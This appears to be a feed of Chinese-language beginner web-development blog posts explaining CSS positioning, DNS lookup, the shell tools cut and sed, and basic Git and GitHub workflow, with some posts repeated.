<div class="first inline-block">
first line
</div>
<div class="second inline-block">
second line
</div>
<div class="third inline-block">
third line
</div>
<div class="div">
other content
</div>
</body>
/* css */
html {
font-size: 36px;
}
html, body {
width: 100%;
height: 100%;
}
html, body, h1, h2, h3, h4, p {
padding: 0;
margin: 0;
}
.inline-block {
display: inline-block;
border: 5px solid gold;
height: 150px;
width: 300px;
padding: 20px;
margin: 50px;
}
.first {
background: red;
}
.second {
background: green;
}
.third {
background: blue;
}
呈現出來的樣子:
稍微整理一下:
static 是預設的值,瀏覽器會按照正常的排版流填充元素。
/* css */
.static {
position: static;
}
relative 元素是相對於自己在排版流的位置定位的。
/* css */
.relative1 {
position: relative;
}
.relative2 {
position: relative;
top: -20px;
left: 20px;
width: 500px;
}
fixed 是相對於 view port 定位的,所以感覺像是「固定」在畫面上。
/* css */
.fixed {
position: fixed;
bottom: 50%;
right: 50%;
width: 200px;
}
absolute 會往父元素尋找非 static 的元素進行定位。
/* css */
.relative {
position: relative;
width: 600px;
height: 400px;
}
.absolute {
position: absolute;
top: 120px;
right: 0;
width: 300px;
height: 200px;
}
Sticky 算是蠻潮的一個屬性,他有 relative 的功能也有 absolute 的功能。
Sticky 元素會會黏在最近的 scrolling ancestor 上。
什麼是 scrolling ancestor 呢?可以想像創造出可滾動的父層元素,像是有設定 overflow 的 elements。
知道什麼是 scrolling ancestor 之後,sticky element 的行為就是:
下面來個範例:
<!Doctype HTML>
<head>
<meta charset='utf-8' />
<title>sticky</title>
<link rel="stylesheet" href="./modal.css" />
</head>
<div class="container">
<div class="box red">red</div>
<div class="box green">green</div>
<div class="box blue">blue</div>
</div>
/* css */
.container {
overflow: scroll;
margin: 50px;
width: 200px;
height: 300px;
border: 1px solid black
}
.box {
padding: 10px;
margin: 0 auto;
text-align: center;
width: 80%;
height: 100px;
}
.red {
background-color: red;
}
.blue {
background-color: blue;
height: 300px;
}
.green {
background-color: green;
position: sticky;
top: 50px;
left: 0;
}
在一開始綠色的元素乖乖的待在排版流裏頭,但是當它的頂部距離滾動父元素 50px 的時候就「黏」住了!
]]>首先瀏覽器應該要先知道 google.com 這個 domain 的 IP 位址,所以會去問 DNS sever,中華電信的 DNS Server IP 位置通常是 168.95.1.1 或是 168.95.192.1,Google 也有提供免費的 DNS Server,IP 位置是 8.8.8.8, Cloudflare 的位置是 1.1.1.1。
不過既然我們都已經在 google 的首頁輸入關鍵字了,難道我們不知道 google.com 的 IP 位址嗎? 答案是有可能知道也有可能不知道。在瀏覽器本身有 DNS cache,瀏覽器會先檢查這個快取裡有沒有 google.com 的 IP,如果有的話,便發送 request,那如果沒有呢?
別擔心,例如 chrome 有以 C 語言寫成的程式,比如說 gethostbyname
函式會呼叫作業系統檢查瀏覽器的 DNS cache 有沒有 google.com 的 IP,有的話便告知瀏覽器,沒有的話便送出 request 到 dns sever,解析出 IP 位址再告知瀏覽器。
這邊小小的總結一下,瀏覽器本身不會是發送 request 給 dns sever 的主體,它在知道 IP 位址以後負責送 request 到正確的 IP 位址。
如果寫成流程:
首先瀏覽器應該要先知道 google.com 這個 domain 的 IP 位址,所以會去問 DNS sever,中華電信的 DNS Server IP 位置通常是 168.95.1.1 或是 168.95.192.1,Google 也有提供免費的 DNS Server,IP 位置是 8.8.8.8, Cloudflare 的位置是 1.1.1.1。
不過既然我們都已經在 google 的首頁輸入關鍵字了,難道我們不知道 google.com 的 IP 位址嗎? 答案是有可能知道也有可能不知道。在瀏覽器本身有 DNS cache,瀏覽器會先檢查這個快取裡有沒有 google.com 的 IP,如果有的話,便發送 request,那如果沒有呢?
別擔心,例如 chrome 有以 C 語言寫成的程式,比如說 gethostbyname
函式會呼叫作業系統檢查瀏覽器的 DNS cache 有沒有 google.com 的 IP,有的話便告知瀏覽器,沒有的話便送出 request 到 dns sever,解析出 IP 位址再告知瀏覽器。
這邊小小的總結一下,瀏覽器本身不會是發送 request 給 dns sever 的主體,它在知道 IP 位址以後負責送 request 到正確的 IP 位址。
如果寫成流程:
cmd 可以讓我們透過輸入指令的方式來操作電腦,比起圖形化介面的好處在於我們擁有更多對電腦的操縱權,不過缺點也是必須要查閱或者熟記這些指令。
底下會介紹三個常用的 shell 指令,如果想要知道更多更 fancy 的 shell 指令,可以參考鳥哥的私房菜-學習 Shell Scripts。
cut 可以逐行
擷取字串,來看看它的用法。
如果想要得到資料夾底下的檔案的權限,可以擷取每一列的第 2 到第 10 個字。
ls -l | cut -c 2-10
擷取不連續字串時用逗點分開。
ls -l | cut -c 2-3,5-6,8-9
如果想擷取大部分的字串,可以設定不要的字串就好(一樣適用連續與不連續)。
ls -l | cut -c 2-10 --complement
如果輸入是逗點分隔檔(.csv),可以設定分隔符號,再搭配前面的用法逐行擷取不同的欄位(一樣適用連續與不連續)。
cut -d , -f 2 test.csv
sed 是「stream editor」的縮寫,進行串流 (stream) 的編輯,以我的理解,處理串流資料的意義在於處理完資料以後不會將原始資料儲存的概念,以節省空間以及加快速度。
sed 的用法大概如下 sed [options] [scripts] [inputFile]
,這邊用 Talor Swift 的 Red 的部分歌詞做示範,將部分的歌詞存進 red.txt 裡,內容如下:
Loving him is like
Driving a new Maserati down a dead end street
Loving him is like
Trying to change your mind once you're already flying through the free fall
Losing him was blue like I'd never known
Missing him was dark grey, all alone
Forgetting him was like trying to know somebody You never met
But loving him was red
Loving him was red
sed -n 's/him/her/1' red.txt
注意編輯模式只會打印結果,不會修改原始檔案,並且如果沒有輸入 option,-e 是預設的。
sed -e 's/him/her/1' red.txt
注意這個模式會讀取存放在檔案中的 sed 程式腳本然後打印出來。
現在假設寫一個腳本 sed_command.txt,內容是
s/him/her/
s/was/is/
接著在終端機輸入:
sed -f sed_command.txt red.txt
注意 cat 出來的 red.txt 檔案裡每一行的第一個的 him
已經被取代成 her
了,原始檔案被改變了。
註: 之後的範例還是維持原始的 red.txt 檔,也就是說做了一次 sed -i 's/her/him/1' red.txt
讓檔案恢復原狀。
sed -i 's/him/her/1' red.txt
cat red.txt
在第一行後面
加上 an apple
。
sed '1a an apple' red.txt
在第一到第三行的前面
都插入 an apple
。
sed '1,3i an apple' red.txt
將第二行改成 Living in the heaven
。
sed '2c Living in the heaven' red.txt
sed 1,5d red.txt
沿用介紹 -e
時所用的例子,這邊將每一行的第一個 him
給取代成 her
,取代的語法可以寫成通式 s/regexp/replacement/[flags],在這個例子裡 flags 是 1,代表每一行的第一個,下面會補充常用的 flags。
sed 's/him/her/1' red.txt
如果只想改動第一行:
sed '1 s/him/her/1' red.txt
exit
可以將終端機給關閉。
]]>cmd 可以讓我們透過輸入指令的方式來操作電腦,比起圖形化介面的好處在於我們擁有更多對電腦的操縱權,不過缺點也是必須要查閱或者熟記這些指令。
底下會介紹三個常用的 shell 指令,如果想要知道更多更 fancy 的 shell 指令,可以參考鳥哥的私房菜-學習 Shell Scripts。
cut 可以逐行
擷取字串,來看看它的用法。
如果想要得到資料夾底下的檔案的權限,可以擷取每一列的第 2 到第 10 個字。
ls -l | cut -c 2-10
擷取不連續字串時用逗點分開。
ls -l | cut -c 2-3,5-6,8-9
如果想擷取大部分的字串,可以設定不要的字串就好(一樣適用連續與不連續)。
ls -l | cut -c 2-10 --complement
如果輸入是逗點分隔檔(.csv),可以設定分隔符號,再搭配前面的用法逐行擷取不同的欄位(一樣適用連續與不連續)。
cut -d , -f 2 test.csv
sed 是「stream editor」的縮寫,進行串流 (stream) 的編輯,以我的理解,處理串流資料的意義在於處理完資料以後不會將原始資料儲存的概念,以節省空間以及加快速度。
sed 的用法大概如下 sed [options] [scripts] [inputFile]
,這邊用 Talor Swift 的 Red 的部分歌詞做示範,將部分的歌詞存進 red.txt 裡,內容如下:
Loving him is like
Driving a new Maserati down a dead end street
Loving him is like
Trying to change your mind once you're already flying through the free fall
Losing him was blue like I'd never known
Missing him was dark grey, all alone
Forgetting him was like trying to know somebody You never met
But loving him was red
Loving him was red
sed -n 's/him/her/1' red.txt
注意編輯模式只會打印結果,不會修改原始檔案,並且如果沒有輸入 option,-e 是預設的。
sed -e 's/him/her/1' red.txt
注意這個模式會讀取存放在檔案中的 sed 程式腳本然後打印出來。
現在假設寫一個腳本 sed_command.txt,內容是
s/him/her/
s/was/is/
接著在終端機輸入:
sed -f sed_command.txt red.txt
注意 cat 出來的 red.txt 檔案裡每一行的第一個的 him
已經被取代成 her
了,原始檔案被改變了。
註: 之後的範例還是維持原始的 red.txt 檔,也就是說做了一次 sed -i 's/her/him/1' red.txt
讓檔案恢復原狀。
sed -i 's/him/her/1' red.txt
cat red.txt
在第一行後面
加上 an apple
。
sed '1a an apple' red.txt
在第一到第三行的前面
都插入 an apple
。
sed '1,3i an apple' red.txt
將第二行改成 Living in the heaven
。
sed '2c Living in the heaven' red.txt
sed 1,5d red.txt
沿用介紹 -e
時所用的例子,這邊將每一行的第一個 him
給取代成 her
,取代的語法可以寫成通式 s/regexp/replacement/[flags],在這個例子裡 flags 是 1,代表每一行的第一個,下面會補充常用的 flags。
sed 's/him/her/1' red.txt
如果只想改動第一行:
sed '1 s/him/her/1' red.txt
exit
可以將終端機給關閉。
]]>如果想了解 Git,首先得知道它是拿來做版本控制的一套軟體。
大部分的人一定都做過版本控制,比如說研究生在寫論文時,會有很多個版本,除了自己有許多個版本以外,指導老師也會提供意見修改,最後研究生可能會希望保留修改的每一個版本,並且把指導老師修改過的版本與自己的最新版本作合併。
我們以研究生寫論文的例子來看看,Git 可以如何幫我們做版本控制。
首先,在終端機輸入:
git init
然後查看資料夾底下多了一個 .git 的資料夾,代表這個資料夾已經被 Git 納入了版本控制。
接著,研究生將初稿給放進資料夾內,內容是 "this is my theses."。
現在想要確定一下目前版本控制檔案的狀態,在終端機輸入:
git status
我們可以發現 thesis 這個檔案沒有被 Git 給追蹤 (tracked),所以我們必須先將 thesis 讓 Git 追蹤,這樣一來如果之後 thesis 有任何改動都會被記錄下來。
選擇將論文的初稿加入版本控制,在終端機輸入:
git add thesis
再確定一下目前版本控制檔案的狀態,在終端機輸入:
git status
會看到有 thesis 已經可以準備被提交 (commit) 了。
提交可以想像成為當前被版本控制的檔案做一次快照 (Snapshot),這麼一來如果某一天在論文快完成的時候想要看剛開始的版本,便可以透過切換 commit 來達成。
接著要把剛剛 add 進來的檔案提交給 Git,在終端機輸入:
git commit -am "student first commit"
在這次的 commit 訊息寫上 student first commit
方便未來知道這是研究生第一次提交的版本。
在完成快照以後,可以在終端機輸入:
git log
透過 git log 可以查看所有的 commit,其中 2c5a15c2fe86f46e29566ee3f897e4458267e79d
代表的是這個 commit 的流水號
如果幾天當研究生校稿時,發現第一個字沒有大寫,因此將字首改成大寫以後完成第二版。
這時候可以先確認兩個版本的差別。
在終端機輸入:
git diff
上面可以看到被改動的地方。
在 add 前我們還是使用 git status 檢查一下。
在終端機輸入:
git status
有趣的是這一次 thesis 並不是 untracked,而是 changes not staged for commit。
這個原因是因為前面就已經 git add thesis
過了,但即使 Git 已經可以追蹤到 thesis 發生改變,我們仍然需要透過 git add thesis
告訴 Git,我們想要將這個改動給 commit。
確認沒有問題以後,重複上面的步驟,在終端機輸入:
git commit -am "student second commit"
值得注意的是這邊可以不用再輸入 git add thesis,因為 git commit 的 -am 便包含了 add 以及 commit 的功能,但是要小心如果有新增檔案或是刪除檔案的異動還有要先 git add 再 git commit 才行。
接著要談到 branch , branch 的中文是分支。
為甚麼要有分支呢? 像上面這樣一條線的開發會遇到甚麼問題呢?
讓我們看看一個軟體開發的案例。
如果有兩個 branch,就可以這樣做:
現在假設研究生將第二個版本拿給指導老師改,那麼指導老師會新開一個 branch 來做修改。
要新開一個名叫 teacher 的 branch 並進入這個 branch, 在終端機輸入:
git branch teacher
git merge teacher
或者直接輸入:
git checkout -b teacher
為了確定有沒有新增以及跳轉成功,在終端機輸入:
git branch -v
指導教授覺得用驚嘆號比較有氣勢,教授修改以後將修改後的版本提交給 Git 版本控制,在終端機輸入:
git commit -am "teacher first commit"
現在為了將指導教授做的改動加進自己的版本裡,先移動回研究生自己的 branch ,再使用 Git 的合併功能,在終端機輸入:
git checkout master
git merge teacher
master 是研究生自己初始的 branch 的名稱,合併完成以後可以確認 thesis 的內容是不是已經變成 "This is my thesis!"。
這時候如果查看查看所有的 commit 紀錄,應該可以看見研究生的 commit 以及 指導教授的 commit 都在 master 這個 branch 裡面了。
合併分支的情況,請參考下面這張圖。
最後把 teacher 的 branch 給刪除,在終端機輸入:
git branch -d teacher
剛剛拿來給 Git 做版本控制的資料夾叫作一個 repository (倉庫),Github 就是一個 Github 公司提供的空間讓我們可以把很多 repository 給放在上面。
首先在 Github 上創建一個 repository,步驟可以參考這個連結。
接著要將本機端被 Git 控管與剛剛在 Github 上剛創建好的 repository 連動,在終端機輸入:
git remote add origin [url]
在 url 的地方輸入 repository 的所在位置,現在本機端以及遠端的橋樑已經建立好了,接著要把本地的 master branch 給放到遠端,在終端機輸入:
git push -u origin master
現在 Github 上的 repository 裡就可以看到最新本的論文。
如果在 Github 上的 thesis 加了一行日期 2022/2/16,
那麼本機端的 thesis 會新增這個改動嗎? 答案是不會,此時在終端機輸入:
git pull origin master
完成本機端的改動。
其實 github 上的 master 與 本地的 master branch 是兩條不同的 branch,所以我們需要進行 git push/merge 的動作來完成像之前 git merge 一樣的動作。
在 pull 完成以後本地與 github 端的 thesis 的內容應該都是:
This is my thesis!
2022/2/11
最後複習學到的 Git 指令
上面提到的都只是 Git 的滄海一粟,所以最後再補充一些常常遇到的狀況。
git commit --amend
此時會進入 vim 編輯器,修改 commit message 內容存檔後就改成功啦!
git reset Head^
Head
代表當前的 commit,如果沒有特別跳到之前的 commit,基本上 Head 就是最新的,也就是你剛剛 commit 又反悔的那個 commit。
而^
是前一個的意思,所以意思就是重設到 Head 的前一個 commit 的狀態。
其實如果使用
git reset Head~2
我們也可以反悔回到前兩個 commit 之前的狀態。
有一個容易搞混的點是:
git checkout [commitName]
git checkout 除了可以在 branch 間游移,也可以在 commit 間游移。
不過 checkout 只是在 commit 間跳動,並不影響所有的 commit。
可是 git reset 代表反悔,也就是說當我 reset 到某個 commit,他後頭的 commit 就全部都消失了,因為我反悔了嘛!
如果看不太懂 git checkout 與 git reset 的區別,可以參考這篇文章
。
如果新增一個檔案,我們會使用:
git add [filename]
把檔案讓 Git 追蹤。
但如果我反悔了,請輸入:
git rm --cached [filename]
如此一來不論怎麼改 Git 都不知道了。
有時候已經把改動的檔案 git add 以後才發現內容有錯,想要反悔再重新修改檔案怎麼辦?
在終端機輸入:
git checkout -- [filename]
又是 git checkout!
我們回顧一下 git checkout 可以做甚麼:
這個狀況是常常手殘打錯 branch 的名字怎麼辦?
在終端機輸入:
git branch -m [newBranchName]
在開源的程式碼中,你可能為了協助開發而需要把專案從 gitHub 上抓下來,這時候可以在終端機輸入:
git clone [url]
但是因為不是自己的專案,所以在 clone 下來的過程中是無法將檔案修該以後 push 回去。
怎麼辦呢? 這時候可以先在 github 專案的右上角找到 fork
的功能。
按下 fork 以後會在自己的 github 裡有一份專案,這時候再將自己 github 上的專案 clone 下來,就可以進行 git push/git pull 的操作了。
]]>如果想了解 Git,首先得知道它是拿來做版本控制的一套軟體。
大部分的人一定都做過版本控制,比如說研究生在寫論文時,會有很多個版本,除了自己有許多個版本以外,指導老師也會提供意見修改,最後研究生可能會希望保留修改的每一個版本,並且把指導老師修改過的版本與自己的最新版本作合併。
我們以研究生寫論文的例子來看看,Git 可以如何幫我們做版本控制。
首先,在終端機輸入:
git init
然後查看資料夾底下多了一個 .git 的資料夾,代表這個資料夾已經被 Git 納入了版本控制。
接著,研究生將初稿給放進資料夾內,內容是 "this is my theses."。
現在想要確定一下目前版本控制檔案的狀態,在終端機輸入:
git status
我們可以發現 thesis 這個檔案沒有被 Git 給追蹤 (tracked),所以我們必須先將 thesis 讓 Git 追蹤,這樣一來如果之後 thesis 有任何改動都會被記錄下來。
選擇將論文的初稿加入版本控制,在終端機輸入:
git add thesis
再確定一下目前版本控制檔案的狀態,在終端機輸入:
git status
會看到有 thesis 已經可以準備被提交 (commit) 了。
提交可以想像成為當前被版本控制的檔案做一次快照 (Snapshot),這麼一來如果某一天在論文快完成的時候想要看剛開始的版本,便可以透過切換 commit 來達成。
接著要把剛剛 add 進來的檔案提交給 Git,在終端機輸入:
git commit -am "student first commit"
在這次的 commit 訊息寫上 student first commit
方便未來知道這是研究生第一次提交的版本。
在完成快照以後,可以在終端機輸入:
git log
透過 git log 可以查看所有的 commit,其中 2c5a15c2fe86f46e29566ee3f897e4458267e79d
代表的是這個 commit 的流水號
如果幾天當研究生校稿時,發現第一個字沒有大寫,因此將字首改成大寫以後完成第二版。
這時候可以先確認兩個版本的差別。
在終端機輸入:
git diff
上面可以看到被改動的地方。
在 add 前我們還是使用 git status 檢查一下。
在終端機輸入:
git status
有趣的是這一次 thesis 並不是 untracked,而是 changes not staged for commit。
這個原因是因為前面就已經 git add thesis
過了,但即使 Git 已經可以追蹤到 thesis 發生改變,我們仍然需要透過 git add thesis
告訴 Git,我們想要將這個改動給 commit。
確認沒有問題以後,重複上面的步驟,在終端機輸入:
git commit -am "student second commit"
值得注意的是這邊可以不用再輸入 git add thesis,因為 git commit 的 -am 便包含了 add 以及 commit 的功能,但是要小心如果有新增檔案或是刪除檔案的異動還有要先 git add 再 git commit 才行。
接著要談到 branch , branch 的中文是分支。
為甚麼要有分支呢? 像上面這樣一條線的開發會遇到甚麼問題呢?
讓我們看看一個軟體開發的案例。
如果有兩個 branch,就可以這樣做:
現在假設研究生將第二個版本拿給指導老師改,那麼指導老師會新開一個 branch 來做修改。
要新開一個名叫 teacher 的 branch 並進入這個 branch, 在終端機輸入:
git branch teacher
git merge teacher
或者直接輸入:
git checkout -b teacher
為了確定有沒有新增以及跳轉成功,在終端機輸入:
git branch -v
指導教授覺得用驚嘆號比較有氣勢,教授修改以後將修改後的版本提交給 Git 版本控制,在終端機輸入:
git commit -am "teacher first commit"
現在為了將指導教授做的改動加進自己的版本裡,先移動回研究生自己的 branch ,再使用 Git 的合併功能,在終端機輸入:
git checkout master
git merge teacher
master 是研究生自己初始的 branch 的名稱,合併完成以後可以確認 thesis 的內容是不是已經變成 "This is my thesis!"。
這時候如果查看查看所有的 commit 紀錄,應該可以看見研究生的 commit 以及 指導教授的 commit 都在 master 這個 branch 裡面了。
合併分支的情況,請參考下面這張圖。
最後把 teacher 的 branch 給刪除,在終端機輸入:
git branch -d teacher
剛剛拿來給 Git 做版本控制的資料夾叫作一個 repository (倉庫),Github 就是一個 Github 公司提供的空間讓我們可以把很多 repository 給放在上面。
首先在 Github 上創建一個 repository,步驟可以參考這個連結。
接著要將本機端被 Git 控管與剛剛在 Github 上剛創建好的 repository 連動,在終端機輸入:
git remote add origin [url]
在 url 的地方輸入 repository 的所在位置,現在本機端以及遠端的橋樑已經建立好了,接著要把本地的 master branch 給放到遠端,在終端機輸入:
git push -u origin master
現在 Github 上的 repository 裡就可以看到最新本的論文。
如果在 Github 上的 thesis 加了一行日期 2022/2/16,
那麼本機端的 thesis 會新增這個改動嗎? 答案是不會,此時在終端機輸入:
git pull origin master
完成本機端的改動。
其實 github 上的 master 與 本地的 master branch 是兩條不同的 branch,所以我們需要進行 git push/merge 的動作來完成像之前 git merge 一樣的動作。
在 pull 完成以後本地與 github 端的 thesis 的內容應該都是:
This is my thesis!
2022/2/11
最後複習學到的 Git 指令
上面提到的都只是 Git 的滄海一粟,所以最後再補充一些常常遇到的狀況。
git commit --amend
此時會進入 vim 編輯器,修改 commit message 內容存檔後就改成功啦!
git reset Head^
Head
代表當前的 commit,如果沒有特別跳到之前的 commit,基本上 Head 就是最新的,也就是你剛剛 commit 又反悔的那個 commit。
而^
是前一個的意思,所以意思就是重設到 Head 的前一個 commit 的狀態。
其實如果使用
git reset Head~2
我們也可以反悔回到前兩個 commit 之前的狀態。
有一個容易搞混的點是:
git checkout [commitName]
git checkout 除了可以在 branch 間游移,也可以在 commit 間游移。
不過 checkout 只是在 commit 間跳動,並不影響所有的 commit。
可是 git reset 代表反悔,也就是說當我 reset 到某個 commit,他後頭的 commit 就全部都消失了,因為我反悔了嘛!
如果看不太懂 git checkout 與 git reset 的區別,可以參考這篇文章
。
如果新增一個檔案,我們會使用:
git add [filename]
把檔案讓 Git 追蹤。
但如果我反悔了,請輸入:
git rm --cached [filename]
如此一來不論怎麼改 Git 都不知道了。
有時候已經把改動的檔案 git add 以後才發現內容有錯,想要反悔再重新修改檔案怎麼辦?
在終端機輸入:
git checkout -- [filename]
又是 git checkout!
我們回顧一下 git checkout 可以做甚麼:
這個狀況是常常手殘打錯 branch 的名字怎麼辦?
在終端機輸入:
git branch -m [newBranchName]
在開源的程式碼中,你可能為了協助開發而需要把專案從 gitHub 上抓下來,這時候可以在終端機輸入:
git clone [url]
但是因為不是自己的專案,所以在 clone 下來的過程中是無法將檔案修該以後 push 回去。
怎麼辦呢? 這時候可以先在 github 專案的右上角找到 fork
的功能。
按下 fork 以後會在自己的 github 裡有一份專案,這時候再將自己 github 上的專案 clone 下來,就可以進行 git push/git pull 的操作了。
]]>